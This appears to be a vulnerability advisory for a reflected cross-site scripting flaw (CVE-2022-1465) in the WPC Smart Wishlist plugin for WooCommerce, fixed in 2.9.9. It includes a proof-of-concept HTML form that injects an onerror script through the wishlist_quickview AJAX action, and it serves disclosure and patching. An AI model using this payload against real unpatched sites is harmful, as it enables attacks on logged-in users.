WPC Smart Wishlist for WooCommerce < 2.9.9 – Reflected Cross-Site Scripting | CVE 2022-1465 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in an attribute via an AJAX action, leading to a Reflected Cross-Site Scripting issue.

Proof of Concept

Against any authenticated user:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wishlist_quickview" />
      <input type="hidden" name="key" value='1"><img src onerror=alert(/XSS/)>' />
      <input type="hidden" name="_wp_http_referer" value="https://example.com/wp-admin/admin-ajax.php" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

woo-smart-wishlist

Fixed in 2.9.9

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Utkarsh Agrawal

Submitter

Utkarsh Agrawal

Verified

Yes

WPVDB ID

6781033a-f166-4198-874f-3e142854daf7

Timeline

Publicly Published

2022-04-25 (about 3 years ago)

Added

2022-04-25 (about 3 years ago)

Last Updated

2022-05-16 (about 3 years ago)

Other

Published

Title

Published

2021-09-20

Title

Sociable <= 4.3.4.1 - Admin+ Stored Cross-Site Scripting

Published

2024-09-12

Title

Email Obfuscate Shortcode <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-01-15

Title

Realtyna Provisioning < 1.2.3 - Reflected Cross-Site Scripting

Published

2025-03-28

Title

Leaky Paywall < 4.21.8 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-05-22

Title

Contact Form Entries < 1.3.1 - Contributor+ Stored XSS